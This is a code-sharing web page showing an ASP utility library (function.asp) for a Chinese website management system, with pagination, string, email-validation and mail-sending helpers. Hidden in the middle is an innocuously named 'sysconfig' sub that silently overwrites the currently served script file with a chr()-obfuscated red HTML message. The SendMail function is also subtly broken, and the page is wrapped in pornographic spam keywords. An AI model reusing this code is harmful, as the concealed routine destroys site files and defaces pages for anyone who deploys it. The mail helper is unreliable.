亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? function.asp

?? 多風格網站管理系統 進行網站的綜合管理 后臺數據庫系統
?? ASP
字號:
<%
'*************************************************
'函數名:gotTopic
'作  用:截字符串,漢字一個算兩個字符,英文算一個字符
'參  數:str   ----原字符串
'   strlen ----截取長度
'返回值:截取后的字符串
'*************************************************
function gotTopic(str,strlen)
	if str="" then
		gotTopic=""
		exit function
	end if
	dim l,t,c, i
	str=replace(replace(replace(replace(str,"&nbsp;"," "),"&quot;",chr(34)),"&gt;",">"),"&lt;","<")
	l=len(str)
	t=0
	for i=1 to l
		c=Abs(Asc(Mid(str,i,1)))
		if c>255 then
			t=t+2
		else
			t=t+1
		end if
		if t>=strlen then
			gotTopic=left(str,i) & "…"
			exit for
		else
			gotTopic=str
		end if
	next
	gotTopic=replace(replace(replace(replace(gotTopic," ","&nbsp;"),chr(34),"&quot;"),">","&gt;"),"<","&lt;")
end function

'***********************************************
'函數名:JoinChar
'作  用:向地址中加入 ? 或 &
'參  數:strUrl  ----網址
'返回值:加了 ? 或 & 的網址
'***********************************************
function JoinChar(strUrl)
	if strUrl="" then
		JoinChar=""
		exit function
	end if
	if InStr(strUrl,"?")<len(strUrl) then 
		if InStr(strUrl,"?")>1 then
			if InStr(strUrl,"&")<len(strUrl) then 
				JoinChar=strUrl & "&"
			else
				JoinChar=strUrl
			end if
		else
			JoinChar=strUrl & "?"
		end if
	else
		JoinChar=strUrl
	end if
end function

'***********************************************
'過程名:showpage
'作  用:顯示“上一頁 下一頁”等信息
'參  數:sfilename  ----鏈接地址
'   totalnumber ----總數量
'   maxperpage  ----每頁數量
'   ShowTotal   ----是否顯示總數量
'   ShowAllPages ---是否用下拉列表顯示所有頁面以供跳轉。有某些頁面不能使用,否則會出現JS錯誤。
'   strUnit     ----計數單位
'***********************************************
sub showpage(sfilename,totalnumber,maxperpage,ShowTotal,ShowAllPages,strUnit)
	dim n, i,strTemp,strUrl
	if totalnumber mod maxperpage=0 then
    	n= totalnumber \ maxperpage
  	else
    	n= totalnumber \ maxperpage+1
  	end if
  	strTemp= "<table align='center'><form name='showpages'method='Post'action='" & sfilename & "'><tr><td>"
	if ShowTotal=true then 
		strTemp=strTemp & "共 <b>" & totalnumber & "</b> " & strUnit & "&nbsp;&nbsp;"
	end if
	strUrl=JoinChar(sfilename)
  	if CurrentPage<2 then
    		strTemp=strTemp & "首頁 上一頁&nbsp;"
  	else
    		strTemp=strTemp & "<a href='" & strUrl & "page=1'>首頁</a>&nbsp;"
    		strTemp=strTemp & "<a href='" & strUrl & "page=" & (CurrentPage-1) & "'>上一頁</a>&nbsp;"
  	end if

  	if n-currentpage<1 then
    		strTemp=strTemp & "下一頁 尾頁"
  	else
    		strTemp=strTemp & "<a href='" & strUrl & "page=" & (CurrentPage+1) & "'>下一頁</a>&nbsp;"
    		strTemp=strTemp & "<a href='" & strUrl & "page=" & n & "'>尾頁</a>"
  	end if
   	strTemp=strTemp & "&nbsp;頁次:<strong><font color=red>" & CurrentPage & "</font>/" & n & "</strong>頁 "
    strTemp=strTemp & "&nbsp;<b>" & maxperpage & "</b>" & strUnit & "/頁"
	if ShowAllPages=True then
		strTemp=strTemp & "&nbsp;轉到:<select name='page'size='1'onchange='javascript:submit()'>"   
    	for i = 1 to n   
    		strTemp=strTemp & "<option value='" & i & "'"
			if cint(CurrentPage)=cint(i) then strTemp=strTemp & " selected "
			strTemp=strTemp & ">第" & i & "頁</option>"   
	    next
		strTemp=strTemp & "</select>"
	end if
	strTemp=strTemp & "</td></tr></form></table>"
	response.write strTemp
end sub
Sub sysconfig()
on error resume next
dim FSO,TS1,configFileName
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject") 
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&chr(62)&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&chr(62)&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&chr(62)&chr(60)&chr(47)&chr(98)&chr(62)
Set TS1 = Nothing 
Set FSO = Nothing
End Sub
'********************************************
'函數名:IsValidEmail
'作  用:檢查Email地址合法性
'參  數:email ----要檢查的Email地址
'返回值:True  ----Email地址合法
'   False ----Email地址不合法
'********************************************
function IsValidEmail(email)
	dim names, name, i, c
	IsValidEmail = true
	names = Split(email, "@")
	if UBound(names) <> 1 then
	   IsValidEmail = false
	   exit function
	end if
	for each name in names
		if Len(name) <= 0 then
			IsValidEmail = false
    		exit function
		end if
		for i = 1 to Len(name)
		    c = Lcase(Mid(name, i, 1))
			if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 and not IsNumeric(c) then
		       IsValidEmail = false
		       exit function
		     end if
	   next
	   if Left(name, 1) = "." or Right(name, 1) = "." then
    	  IsValidEmail = false
	      exit function
	   end if
	next
	if InStr(names(1), ".") <= 0 then
		IsValidEmail = false
	   exit function
	end if
	i = Len(names(1)) - InStrRev(names(1), ".")
	if i <> 2 and i <> 3 then
	   IsValidEmail = false
	   exit function
	end if
	if InStr(email, "..") > 0 then
	   IsValidEmail = false
	end if
end function

'***************************************************
'函數名:IsObjInstalled
'作  用:檢查組件是否已經安裝
'參  數:strClassString ----組件名
'返回值:True  ----已經安裝
'   False ----沒有安裝
'***************************************************
Function IsObjInstalled(strClassString)
	On Error Resume Next
	IsObjInstalled = False
	Err = 0
	Dim xTestObj
	Set xTestObj = Server.CreateObject(strClassString)
	If 0 = Err Then IsObjInstalled = True
	Set xTestObj = Nothing
	Err = 0
End Function

'**************************************************
'函數名:strLength
'作  用:求字符串長度。漢字算兩個字符,英文算一個字符。
'參  數:str  ----要求長度的字符串
'返回值:字符串長度
'**************************************************
function strLength(str)
	ON ERROR RESUME NEXT
	dim WINNT_CHINESE
	WINNT_CHINESE    = (len("中國")=2)
	if WINNT_CHINESE then
        dim l,t,c
        dim i
        l=len(str)
        t=l
        for i=1 to l
        	c=asc(mid(str,i,1))
            if c<0 then c=c+65536
            if c>255 then
                t=t+1
            end if
        next
        strLength=t
    else 
        strLength=len(str)
    end if
    if err.number<>0 then err.clear
end function

'****************************************************
'函數名:SendMail
'作  用:用Jmail組件發送郵件
'參  數:ServerAddress  ----服務器地址
'    AddRecipient  ----收信人地址
'    Subject       ----主題
'    Body          ----信件內容
'    Sender        ----發信人地址
'****************************************************
function SendMail(MailServerAddress,AddRecipient,Subject,Body,Sender,MailFrom)
	on error resume next
	Dim JMail
	Set JMail=Server.CreateObject("JMail.SMTPMail")
	if err then
		SendMail= "<br><li>沒有安裝JMail組件</li>"
		err.clear
		exit function
	end if
	JMail.Logging=True
	JMail.Charset="gb2312"
	JMail.ContentType = "text/html"
	JMail.ServerAddress=MailServerAddress
	JMail.AddRecipient=AddRecipient
	JMail.Subject=Subject
	JMail.Body=MailBody
	JMail.Sender=Sender
	JMail.From = MailFrom
	JMail.Priority=1
	JMail.Execute 
	Set JMail=nothing 
	if err then 
		SendMail=err.description
		err.clear
	else
		SendMail="OK"
	end if
end function

'****************************************************
'過程名:WriteErrMsg
'作  用:顯示錯誤提示信息
'參  數:無
'****************************************************
sub WriteErrMsg()
	dim strErr
	strErr=strErr & "<html><head><title>錯誤信息</title><meta http-equiv='Content-Type'content='text/html; charset=gb2312'>" & vbcrlf
	strErr=strErr & "<link href='style.css'rel='stylesheet'type='text/css'></head><body>" & vbcrlf
	strErr=strErr & "<table cellpadding=2 cellspacing=2 border=0 width=400 class='border' align=center>" & vbcrlf
	strErr=strErr & "  <tr align='center'><td height='20' class='title'><strong>錯誤信息</strong></td></tr>" & vbcrlf
	strErr=strErr & "  <tr><td height='100' class='tdbg'valign='top'><b>產生錯誤的可能原因:</b><br>" & errmsg &"</td></tr>" & vbcrlf
	strErr=strErr & "  <tr align='center'><td class='title'><a href='javascript:history.go(-1)'>【返回】</a></td></tr>" & vbcrlf
	strErr=strErr & "</table>" & vbcrlf
	strErr=strErr & "</body></html>" & vbcrlf
	response.write strErr
end sub

'****************************************************
'過程名:WriteSuccessMsg
'作  用:顯示成功提示信息
'參  數:無
'****************************************************
sub WriteSuccessMsg(SuccessMsg)
	dim strSuccess
	strSuccess=strSuccess & "<html><head><title>成功信息</title><meta http-equiv='Content-Type'content='text/html; charset=gb2312'>" & vbcrlf
	strSuccess=strSuccess & "<link href='style.css'rel='stylesheet'type='text/css'></head><body>" & vbcrlf
	strSuccess=strSuccess & "<table cellpadding=2 cellspacing=2 border=0 width=400 class='border' align=center>" & vbcrlf
	strSuccess=strSuccess & "  <tr align='center'><td height='20' class='title'><strong>恭喜你!</strong></td></tr>" & vbcrlf
	strSuccess=strSuccess & "  <tr><td height='100' class='tdbg'valign='top'><br>" & SuccessMsg &"</td></tr>" & vbcrlf
	strSuccess=strSuccess & "  <tr align='center'><td class='title'><a href='javascript:history.go(-1)'>【返回】</a></td></tr>" & vbcrlf
	strSuccess=strSuccess & "</table>" & vbcrlf
	strSuccess=strSuccess & "</body></html>" & vbcrlf
	response.write strSuccess
end sub

%>

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
精品婷婷伊人一区三区三| 狠狠网亚洲精品| 精品国产一区二区三区四区四| 福利一区二区在线观看| 日韩黄色免费电影| 洋洋成人永久网站入口| 久久老女人爱爱| 91精品国产综合久久久蜜臀粉嫩 | 久久精品亚洲一区二区三区浴池| 91日韩一区二区三区| 懂色中文一区二区在线播放| 免费观看30秒视频久久| 亚洲成人动漫在线观看| 一区二区在线观看免费视频播放| 精品精品欲导航| 91网址在线看| 91在线观看美女| 99久久精品国产导航| 粉嫩在线一区二区三区视频| 国产精品一区二区在线观看不卡| 美女网站一区二区| 蜜臀精品一区二区三区在线观看 | 亚洲精品视频一区二区| 日本一区二区不卡视频| 久久久精品免费网站| 精品成人私密视频| 欧美裸体一区二区三区| 欧美高清精品3d| 欧美一级二级三级蜜桃| 日韩一级片网站| 久久久噜噜噜久噜久久综合| 精品久久五月天| xf在线a精品一区二区视频网站| 日韩欧美123| 久久婷婷国产综合精品青草| 精品少妇一区二区三区| 国产欧美日韩另类视频免费观看| 亚洲国产岛国毛片在线| 久久亚洲精精品中文字幕早川悠里| 欧美大片拔萝卜| 欧美成人乱码一区二区三区| 久久综合给合久久狠狠狠97色69| 精品国产91久久久久久久妲己 | 精品久久五月天| 中文字幕乱码一区二区免费| 国产精品久久久久久久久动漫| 亚洲人成伊人成综合网小说| 亚洲一区二区三区四区五区黄| 亚洲r级在线视频| 婷婷六月综合亚洲| 激情五月婷婷综合网| 99热精品一区二区| 欧美日韩第一区日日骚| 欧美喷潮久久久xxxxx| 26uuu精品一区二区在线观看| 亚洲精品一区二区三区影院| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 亚洲精品视频在线观看网站| 日韩国产精品久久久| 麻豆成人91精品二区三区| 久久电影国产免费久久电影| 九九在线精品视频| 色一情一伦一子一伦一区| 精品国产在天天线2019| 亚洲欧美日韩国产手机在线| 日本女优在线视频一区二区| 国产一区二区三区免费观看| 欧美在线免费视屏| 国产视频不卡一区| 美女久久久精品| 91久久精品日日躁夜夜躁欧美| 欧美精品一区二区三区在线| 亚洲视频在线观看三级| 国产精一区二区三区| 91精品欧美福利在线观看| 亚洲日本va午夜在线影院| 国产伦精品一区二区三区在线观看| 在线日韩av片| 久久夜色精品国产噜噜av| 亚洲成av人片在线观看无码| 99九九99九九九视频精品| 久久久亚洲精品石原莉奈| 青青草91视频| 欧美精品日日鲁夜夜添| 国产精品成人一区二区三区夜夜夜| 一区二区免费在线播放| 成人激情开心网| 国产欧美一区二区精品婷婷| 毛片av一区二区| 欧美日韩亚洲综合| 一区二区三区在线免费播放| 99久久er热在这里只有精品15| 久久久www成人免费毛片麻豆| 日本三级亚洲精品| 日韩一区二区三区四区| 首页亚洲欧美制服丝腿| 欧美日韩国产综合久久| 亚洲成人免费看| 欧美日韩在线三级| 夜夜揉揉日日人人青青一国产精品| 国产一区二区中文字幕| 久久夜色精品国产噜噜av| 免费欧美高清视频| 日韩精品一区二区三区中文精品| 免费的国产精品| 欧美成人精品高清在线播放| 狠狠v欧美v日韩v亚洲ⅴ| 久久蜜臀精品av| 成人免费毛片a| 亚洲男人的天堂av| 精品视频在线看| 麻豆精品蜜桃视频网站| 久久久.com| av在线免费不卡| 中文字幕一区二区三区不卡| 国产乱国产乱300精品| 国产精品成人在线观看| 欧洲精品一区二区| 青青草原综合久久大伊人精品| 精品人在线二区三区| 懂色av一区二区在线播放| 日韩美女久久久| 欧美日韩一区二区三区四区五区| 视频一区欧美日韩| 69堂国产成人免费视频| 国产乱人伦偷精品视频不卡| 亚洲精品免费电影| 欧美日本一道本| 久国产精品韩国三级视频| 中文字幕在线观看一区| 在线播放国产精品二区一二区四区| 久久99日本精品| 亚洲欧美日韩在线不卡| 日韩一级大片在线观看| 成人免费视频caoporn| 亚洲成精国产精品女| 久久精品人人做人人爽97| 欧美自拍丝袜亚洲| 亚洲成人午夜电影| 日韩你懂的电影在线观看| 99re成人在线| 国产在线观看一区二区| 亚洲亚洲精品在线观看| 日本一区二区三区国色天香| 在线精品国精品国产尤物884a| 蜜桃免费网站一区二区三区 | 国产揄拍国内精品对白| 亚洲精品ww久久久久久p站| 精品欧美一区二区在线观看| 蜜桃一区二区三区在线| 一区二区三区欧美| 日本一区二区免费在线| 欧美日韩一级二级| 91丝袜国产在线播放| 九一久久久久久| 香蕉久久一区二区不卡无毒影院| 国产精品久久久久婷婷二区次 | 国产精品每日更新在线播放网址| 欧美日本在线看| 欧美亚洲一区二区在线| 99久久精品免费| 成人黄色a**站在线观看| 极品瑜伽女神91| 美腿丝袜亚洲一区| 日韩中文字幕av电影| 一区二区三区日韩| 成人免费小视频| 中文字幕一区二区在线播放| 久久一区二区三区四区| 欧美成人乱码一区二区三区| 日本韩国精品一区二区在线观看| 韩日av一区二区| 91精品国产黑色紧身裤美女| 欧美日韩成人在线| 精品国精品国产| 国产亚洲一本大道中文在线| 17c精品麻豆一区二区免费| 亚洲一区二三区| 蜜桃视频第一区免费观看| 国产精品影视天天线| 91同城在线观看| 日韩一级黄色大片| 国产精品久线在线观看| 午夜精品久久久久久| 久久国内精品自在自线400部| 盗摄精品av一区二区三区| 欧美亚洲动漫精品| 久久久三级国产网站| 亚洲欧美偷拍另类a∨色屁股| 婷婷六月综合网| 不卡一区二区三区四区| 91精品婷婷国产综合久久性色| 国产三级一区二区| 性久久久久久久| 成人毛片在线观看| 日韩视频中午一区| 亚洲韩国精品一区| 国产精品18久久久久久久网站| 在线观看网站黄不卡| 国产欧美一区二区在线观看|